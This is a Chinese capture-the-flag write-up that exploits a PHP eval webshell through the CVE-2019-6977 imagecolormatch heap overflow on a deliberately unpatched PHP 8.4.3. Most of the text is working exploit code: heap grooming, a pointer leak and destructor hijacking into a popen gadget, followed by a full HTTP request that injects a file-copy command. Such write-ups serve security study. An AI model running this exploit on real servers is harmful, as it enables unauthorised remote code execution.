Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

not a web chal

题目描述

They sell you time on their machines — a clean, rented slice of logic, wrapped in shimmering APIs and fine-grained isolation. Every instance ephemeral. Every function predictable. Every boundary — supposedly unbreakable.

But she slipped through. Fake shell. Fake filesystem. Just a narrow tunnel encased in layers of interpreter containment. And yet… somewhere between the pixels and the silence, the system blinked.

Now she’s vanished from the instance logs, her code executed, her trace buried in the smog of scheduled resets- in an unexpected return, a crafted request, a whisper embedded deep in the noise.

Connect to the system. Follow her trail. Decode the base. Bend the allocator. Bypass the fences they swore couldn’t be crossed — not with violence, but with precision.

题目功能

/home/ctf/scripts/index.php

1
<?php eval($_POST["cmd"]); 

一句话木马。

php.ini:
危险函数全禁完了,并且限制只能访问 /home/ctf/scripts或 /tmp

漏洞点

从 Dockerfile 可知是 php 8.4.3 但手动回滚了 CVE-2019-6977 的修复补丁

找到的 exp 适用于 php 7.2.x:

exploits/CVE-2019-6977-imagecolormatch

CVE-2019-6977

php-src\ext\gd\gd_color_match.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
buf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);

for (x=0; x<im1->sx; x++) {
for( y=0; y<im1->sy; y++ ) {
color = im2->pixels[y][x];
rgb = im1->tpixels[y][x];
bp = buf + (color * 5);
(*(bp++))++;
*(bp++) += gdTrueColorGetRed(rgb);
*(bp++) += gdTrueColorGetGreen(rgb);
*(bp++) += gdTrueColorGetBlue(rgb);
*(bp++) += gdTrueColorGetAlpha(rgb);
}

TLDR: 堆上越界写5个 unsigned long ,第一个只能 +1 ,其他四个可加 0-0xff

sink点

阅读原 exp 发现最后通过对 ht->pDestructor 和 p->val 的控制,达成了 php 脚本运行结束时进行任意函数调用,参数只能控制 rdi 。

php-src\Zend\zend_hash.c:1774

1
ht->pDestructor(&p->val);

所以需要在原exp基础上有泄露的函数地址。

泄露地址

原 exp 泄露地址的方法是先制造这样的堆结构

1
2
3
[z:   zend_string: 0x200]
[x: zend_string: 0x200]
[y: any_struct_to_leak: 0x200]

然后先 $unset($z) 把 z 释放,再调用 imagecolormatch($img1, $img2); 分配到 z 的位置,并且溢出写 5 个 long 。
这样第二个long正好篡改到 size_t zend_string.len,使得 x 大小增大了 0xff,通过 x 能泄露出 y 的 内容。

1
2
3
[buf: long[]     : 0x200]
[x: zend_string: 0x200]
[y: any_struct_to_leak: 0x200]

利用思路

泄露基址

想找带 libc 指针的结构体泄露,但想不出来。

想分配 huge 触发 mmap 让堆和libc贴合,也没成功。

而原 exp 第二部分通过 泄露 zend_object 上的指针获得了 ce, properties 指针

结构体如下:

1
2
3
4
5
6
7
8
9
struct _zend_object {
zend_refcounted_h gc;
uint32_t handle; // TODO: may be removed ???
uint32_t extra_flags; /* OBJ_EXTRA_FLAGS() */
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable *properties;
zval properties_table[1];
};

结构体中有 handlers 指针,这个指针指向 php-fpm 的 bss 段,泄露它可得到 pie。

PS:因为 php-fpm 都是 fork 出的子进程,他们的pie都相同

php 8.4.3 版本变化

原exp在 php 8.4.3 下运行会触发两个 deprecated warning, 而这两个警告要分配内存,导致内存布局偏移,所以要在第二次泄露前分配内存,第二个ce相对x的偏移量也要修改。

RCE

php-fpm 没有导入 system ,只有 popen

popen 接收两个参数,这里没法控制 rsi ,所以没法直接调用 popen

搜到一个最后调用 zif_system(*zend_execute_data, return_val) 达成 RCE 的 writeup
http://blog.huntergregal.com/2020/07/from-web-to-pwn-ffi-arbitrary-readwrite.html

这个只需要rdi指向合法的 struct _zend_execute_data 即可,但构造很麻烦。

最后我使用了 RVA = 0x04EC5CF 的 magic_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
.text:00000000004EC5CF                 lea     rsi, aKoi8R+5   ; modes
.text:00000000004EC5D6 push rbp
.text:00000000004EC5D7 push rbx
.text:00000000004EC5D8 mov ebx, edi
.text:00000000004EC5DA mov rdi, r12 ; command
.text:00000000004EC5DD sub rsp, 38h
.text:00000000004EC5E1 mov [rsp+68h+arg], rdx
.text:00000000004EC5E6 mov [rsp+68h+var_50], rcx
.text:00000000004EC5EB mov rax, fs:28h
.text:00000000004EC5F4 mov [rsp+68h+var_40], rax
.text:00000000004EC5F9 xor eax, eax
.text:00000000004EC5FB mov [rsp+68h+returned_len], 0
.text:00000000004EC604 call _popen

这里 popen 的 第一个参数来自 r12,但经过调试发现触发任意函数调用时 r12 恒等于 rdi + 0x20,而 rdi 指向的内存可控。

也就是只要劫持控制流到这个 magic_gadget 就会调用 popen($rdi+0x20, "r");

唯一缺点是没有回显

wait what?

发现 /flag 文件的权限是 777
RCE执行 cp /flag /home/ctf/scripts/flag.php 把 flag 直接复制到 nginx 可访问的目录
浏览器访问 /flag.php 得到flag

EXP

泄露pie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 8.4.3
#


define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
function __construct()
{
$this->x = '1';
}

function __get($x)
{
return $this->$x;
}
}

class Nenuphar2 extends DOMNode
{
function __construct()
{
$this->x = '2';
}

function __get($x)
{
return $this->$x;
}
}

function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$p+$s-1;$j>=$p;$j--)
{
$address <<= 8;
$address |= ord($str[$j]);
}
return $address;
}

for($i=0;$i<100;$i++)
${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);



$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;


$img1 = imagecreatetruecolor(1, 1);


$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);


for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);


unset($z);
imagecolormatch($img1, $img2);

unset($y);

$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
//$z_address = 0x7770086a7a18;

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

$z =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str(0) .
# Bucket arData
ptr2str($z_address + 0x38) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(1, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
ptr2str(0x4242424242424242) .
# dtor_func_t pDestructor
ptr2str(hexdec($_REQUEST['f'])) .
str_pad($_REQUEST['c'], 0x100, "\x00") .
ptr2str(0, strlen($y) - 0x38 - 0x100);

print('z.val: 0x' . dechex($z_address) . "\n");


${'spray'.(500)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
${'spray'.(501)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);

$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

unset($y);

imagecolormatch($img1, $img2);


$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$handlers1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x30);
$pie = $handlers1_address - 0x1806380;
$ce2_address = str2ptr($x, 0x100);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('x: ' . $x);
print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar.handlers: 0x' . dechex($handlers1_address) . "\n");
print('pie: 0x' . dechex($pie) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");

if(
$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
$z_address - $props_address < 0
)
{
print('That won\'t work');
exit(0);
}

RCE

代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
<?php
# imagecolormatch() OOB Heap Write exploit
# https://bugs.php.net/bug.php?id=77270
# CVE-2019-6977
# Charles Fol
# @cfreal_
#
# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>
# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi
#
# Target: PHP 7.2.x
# Tested on: PHP 8.4.3
#


define('OFFSET_STR_VAL', 0x18);
define('BYTES_PER_COLOR', 0x28);


class Nenuphar extends DOMNode
{
function __construct()
{
$this->x = '1';
}

function __get($x)
{
return $this->$x;
}
}

class Nenuphar2 extends DOMNode
{
function __construct()
{
$this->x = '2';
}

function __get($x)
{
return $this->$x;
}
}

function ptr2str($ptr, $m=8)
{
$out = "";
for ($i=0; $i<$m; $i++)
{
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function str2ptr(&$str, $p, $s=8)
{
$address = 0;
for($j=$p+$s-1;$j>=$p;$j--)
{
$address <<= 8;
$address |= ord($str[$j]);
}
return $address;
}

for($i=0;$i<100;$i++)
${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
for($i=0;$i<100;$i++)
${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);



$nb_colors = 12;
$size_buf = $nb_colors * BYTES_PER_COLOR;


$img1 = imagecreatetruecolor(1, 1);


$color = imagecolorallocate($img1, 0xFF, 0, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);


for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);

imagesetpixel($img2, 0, 0, $nb_colors + 1);

$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);
$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);


unset($z);
imagecolormatch($img1, $img2);

unset($y);

$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;
//$z_address = 0x7770086a7a18;

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);

$z =
# refcount
ptr2str(1) .
# u-nTableMask meth
ptr2str(0) .
# Bucket arData
ptr2str($z_address + 0x38) .
# uint32_t nNumUsed;
ptr2str(1, 4) .
# uint32_t nNumOfElements;
ptr2str(1, 4) .
# uint32_t nTableSize
ptr2str(0, 4) .
# uint32_t nInternalPointer
ptr2str(0, 4) .
# zend_long nNextFreeElement
ptr2str(0x4242424242424242) .
# dtor_func_t pDestructor
ptr2str(hexdec($_REQUEST['f'])) .
str_pad($_REQUEST['c'], 0x100, "\x00") .
ptr2str(0, strlen($y) - 0x38 - 0x100);

print('z.val: 0x' . dechex($z_address) . "\n");


${'spray'.(500)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);
${'spray'.(501)} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);

$nb_colors = 2;
$size_buf = $nb_colors * BYTES_PER_COLOR;

$img1 = imagecreatetruecolor(1, 1);

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);

$img2 = imagecreate(1, 1);
for($i=0;$i<$nb_colors;$i++)
imagecolorallocate($img2, 0, 0, $i);

$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);
$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);
$nenuphar = new Nenuphar();
$nenuphar2 = new Nenuphar2();

imagesetpixel($img2, 0, 0, $nb_colors);

unset($y);

imagecolormatch($img1, $img2);


$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$handlers1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x30);
$pie = $handlers1_address - 0x1806380;
$ce2_address = str2ptr($x, 0x100);
$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

print('x: ' . $x);
print('Nenuphar.ce: 0x' . dechex($ce1_address) . "\n");
print('Nenuphar.handlers: 0x' . dechex($handlers1_address) . "\n");
print('pie: 0x' . dechex($pie) . "\n");
print('Nenuphar2.ce: 0x' . dechex($ce2_address) . "\n");
print('Nenuphar.properties: 0x' . dechex($props_address) . "\n");
print('z.val: 0x' . dechex($z_address) . "\n");
print('Difference: 0x' . dechex($z_address-$props_address) . "\n");

if(
$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||
$z_address - $props_address < 0
)
{
print('That won\'t work');
exit(0);
}

$color = imagecolorallocate($img1, 0, 0xFF, 0);
imagefill($img1, 0, 0, $color);
imagesetpixel($img2, 0, 0, $nb_colors + 3);

for($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)
{
imagecolormatch($img1, $img2);
$ce1_address++;
}

$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);
imagefill($img1, 0, 0, $color);
$current = imagecolormatch($img1, $img2);
$ce1_address++;

$color = imagecolorallocate($img1, 0, 0, 0);
imagefill($img1, 0, 0, $color);

while($ce1_address++ < $ce2_address)
{
imagecolormatch($img1, $img2);
}


$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);
$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);

if($new_ce1_address == $ce2_address && $new_props_address == $z_address)
{
print("\nExploit SUCCESSFUL !\n");
}
else
{
print('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . "\n");
print('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . "\n");
print("\nExploit FAILED !\n");
}
http 包
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
POST /index.php?f=0x56046daec5cf&c=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcp+/flag+/home/ctf/scripts/flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 5397
Origin: http://s1.r3.ret.sh.cn:30739
Connection: close
Referer: http://s1.r3.ret.sh.cn:30739/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
DNT: 1

cmd=define('OFFSET_STR_VAL',+0x18)%3b
define('BYTES_PER_COLOR',+0x28)%3b


class+Nenuphar+extends+DOMNode
{
++++function+__construct()
++++{
++++++++$this->x+%3d+'1'%3b
++++}

++++function+__get($x)
++++{
++++++++return+$this->$x%3b
++++}
}

class+Nenuphar2+extends+DOMNode
{
++++function+__construct()
++++{
++++++++$this->x+%3d+'2'%3b
++++}

++++function+__get($x)
++++{
++++++++return+$this->$x%3b
++++}
}

function+ptr2str($ptr,+$m%3d8)
{
++++$out+%3d+""%3b
++++for+($i%3d0%3b+$i<$m%3b+$i%2b%2b)
++++{
++++++++$out+.%3d+chr($ptr+%26+0xff)%3b
++++++++$ptr+>>%3d+8%3b
++++}
++++return+$out%3b
}

function+str2ptr(%26$str,+$p,+$s%3d8)
{
++++$address+%3d+0%3b
++++for($j%3d$p%2b$s-1%3b$j>%3d$p%3b$j--)
++++{
++++++++$address+<<%3d+8%3b
++++++++$address+|%3d+ord($str[$j])%3b
++++}
++++return+$address%3b
}

for($i%3d0%3b$i<100%3b$i%2b%2b)
++++${'spray'.$i}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b
for($i%3d0%3b$i<100%3b$i%2b%2b)
++++${'sprayx'.$i}+%3d+str_repeat(chr($i),+12+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b



$nb_colors+%3d+12%3b
$size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b


$img1+%3d+imagecreatetruecolor(1,+1)%3b


$color+%3d+imagecolorallocate($img1,+0xFF,+0,+0)%3b
imagefill($img1,+0,+0,+$color)%3b

$img2+%3d+imagecreate(1,+1)%3b


for($i%3d0%3b$i<$nb_colors%3b$i%2b%2b)
++++imagecolorallocate($img2,+0,+0,+$i)%3b

imagesetpixel($img2,+0,+0,+$nb_colors+%2b+1)%3b

$z+%3d+str_repeat('Z',+$size_buf+-+OFFSET_STR_VAL)%3b
$x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL)%3b
$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL)%3b


unset($z)%3b
imagecolormatch($img1,+$img2)%3b

unset($y)%3b

$z_address+%3d+str2ptr($x,+488)+%2b+OFFSET_STR_VAL%3b
//$z_address+%3d+0x7770086a7a18%3b

$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b

$z+%3d
++++%23+refcount
++++ptr2str(1)+.
++++%23+u-nTableMask+meth
++++ptr2str(0)+.
++++%23+Bucket+arData
++++ptr2str($z_address+%2b+0x38)+.
++++%23+uint32_t+nNumUsed%3b
++++ptr2str(1,+4)+.
++++%23+uint32_t+nNumOfElements%3b
++++ptr2str(1,+4)+.
++++%23+uint32_t+nTableSize
++++ptr2str(0,+4)+.
++++%23+uint32_t+nInternalPointer
++++ptr2str(0,+4)+.
++++%23+zend_long+nNextFreeElement
++++ptr2str(0x4242424242424242)+.
++++%23+dtor_func_t+pDestructor
++++ptr2str(hexdec($_REQUEST['f']))+.
++++str_pad($_REQUEST['c'],+0x100,+"\x00")+.
++++ptr2str(0,+strlen($y)+-+0x38+-+0x100)%3b

print('z.val%3a+0x'+.+dechex($z_address)+.+"\n")%3b


${'spray'.(500)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b
${'spray'.(501)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b

$nb_colors+%3d+2%3b
$size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b

$img1+%3d+imagecreatetruecolor(1,+1)%3b

$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3b
imagefill($img1,+0,+0,+$color)%3b

$img2+%3d+imagecreate(1,+1)%3b
for($i%3d0%3b$i<$nb_colors%3b$i%2b%2b)
++++imagecolorallocate($img2,+0,+0,+$i)%3b

$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b
$x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b
$nenuphar+%3d+new+Nenuphar()%3b
$nenuphar2+%3d+new+Nenuphar2()%3b

imagesetpixel($img2,+0,+0,+$nb_colors)%3b

unset($y)%3b

imagecolormatch($img1,+$img2)%3b


$ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b
$handlers1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x30)%3b
$pie+%3d+$handlers1_address+-+0x1806380%3b
$ce2_address+%3d+str2ptr($x,+0x100)%3b
$props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3b

print('x%3a+'+.+$x)%3b
print('Nenuphar.ce%3a+0x'+.+dechex($ce1_address)+.+"\n")%3b
print('Nenuphar.handlers%3a+0x'+.+dechex($handlers1_address)+.+"\n")%3b
print('pie%3a+0x'+.+dechex($pie)+.+"\n")%3b
print('Nenuphar2.ce%3a+0x'+.+dechex($ce2_address)+.+"\n")%3b
print('Nenuphar.properties%3a+0x'+.+dechex($props_address)+.+"\n")%3b
print('z.val%3a+0x'+.+dechex($z_address)+.+"\n")%3b
print('Difference%3a+0x'+.+dechex($z_address-$props_address)+.+"\n")%3b

if(
++++$ce2_address+-+$ce1_address+<+($z_address-$props_address)+/+0xff+||
++++$z_address+-+$props_address+<+0
)
{
++++print('That+won\'t+work')%3b
++++exit(0)%3b
}

$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3b
imagefill($img1,+0,+0,+$color)%3b
imagesetpixel($img2,+0,+0,+$nb_colors+%2b+3)%3b

for($current%3d$props_address%2b0xFF%3b$current<%3d$z_address%3b$current%2b%3d0xFF)
{
++++imagecolormatch($img1,+$img2)%3b
++++$ce1_address%2b%2b%3b
}

$color+%3d+imagecolorallocate($img1,+0,+$z_address-$current%2b0xff,+0)%3b
imagefill($img1,+0,+0,+$color)%3b
$current+%3d+imagecolormatch($img1,+$img2)%3b
$ce1_address%2b%2b%3b

$color+%3d+imagecolorallocate($img1,+0,+0,+0)%3b
imagefill($img1,+0,+0,+$color)%3b

while($ce1_address%2b%2b+<+$ce2_address)
{
++++imagecolormatch($img1,+$img2)%3b
}


$new_ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b
$new_props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3b

if($new_ce1_address+%3d%3d+$ce2_address+%26%26+$new_props_address+%3d%3d+$z_address)
{
++++print("\nExploit+SUCCESSFUL+!\n")%3b
}
else
{
++++print('NEW+Nenuphar.ce%3a+0x'+.+dechex($new_ce1_address)+.+"\n")%3b
++++print('NEW+Nenuphar.std.properties%3a+0x'+.+dechex($new_props_address)+.+"\n")%3b
++++print("\nExploit+FAILED+!\n")%3b
}

评论




本站总访问量为 次 访客数为 人